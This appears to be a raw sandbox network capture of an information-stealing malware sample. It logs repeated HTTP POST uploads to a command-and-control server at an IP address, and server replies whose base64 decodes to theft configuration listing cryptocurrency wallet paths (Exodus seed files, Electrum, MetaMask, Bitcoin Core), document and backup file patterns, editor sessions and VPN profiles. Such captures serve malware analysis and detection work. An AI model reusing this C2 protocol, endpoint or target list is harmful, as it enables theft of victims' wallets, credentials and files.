4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 23, 2024 09:33:06.465667963 CEST	466	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFB Host: 185.172.128.76 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 2d 2d 0d 0a Data Ascii: ------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="message"files------KJJJJDHIDBGHIDHIDAFB--
Apr 23, 2024 09:33:06.782243013 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 23, 2024 09:33:06.816898108 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:07.149003029 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:07.155941963 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:07.485517025 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:07.497504950 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:07.827749014 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:08.043648005 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIII Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:08.379760027 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:08.389648914 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:08.717700958 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:09.098197937 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:09.435780048 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:09.448039055 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEGDAEHIEHIDHJDAAK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:09.799762964 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:09.995152950 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:10.331582069 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:10.340395927 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:10.675748110 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:10.682631016 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:11.014930010 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:11.027602911 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:11.357353926 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:11.362843037 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:11.691257000 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:11.816678047 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:12.146521091 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:12.152936935 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:12.483463049 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:12.491195917 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:12.819612980 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:12.837898016 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:13.167145967 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:13.175395966 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFHIIEHIEGDHJJJKFII Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:13.505309105 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:13.512233019 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:13.859997988 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:13.881249905 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:14.211352110 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:14.220117092 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:14.551291943 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:14.556891918 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:14.891968966 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:14.897382975 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:15.230201006 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:15.235310078 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEGHIJEHJDHIDHIDAEH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:15.570506096 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:15.577239990 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:15.913901091 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:15.923222065 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:16.258035898 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:16.263387918 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEG Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:16.596689939 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:16.604552031 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:16.939361095 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:16.945425987 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:17.277287960 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:17.283251047 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:17.613472939 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:17.618684053 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:33:17.978502035 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:33:17.984512091 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
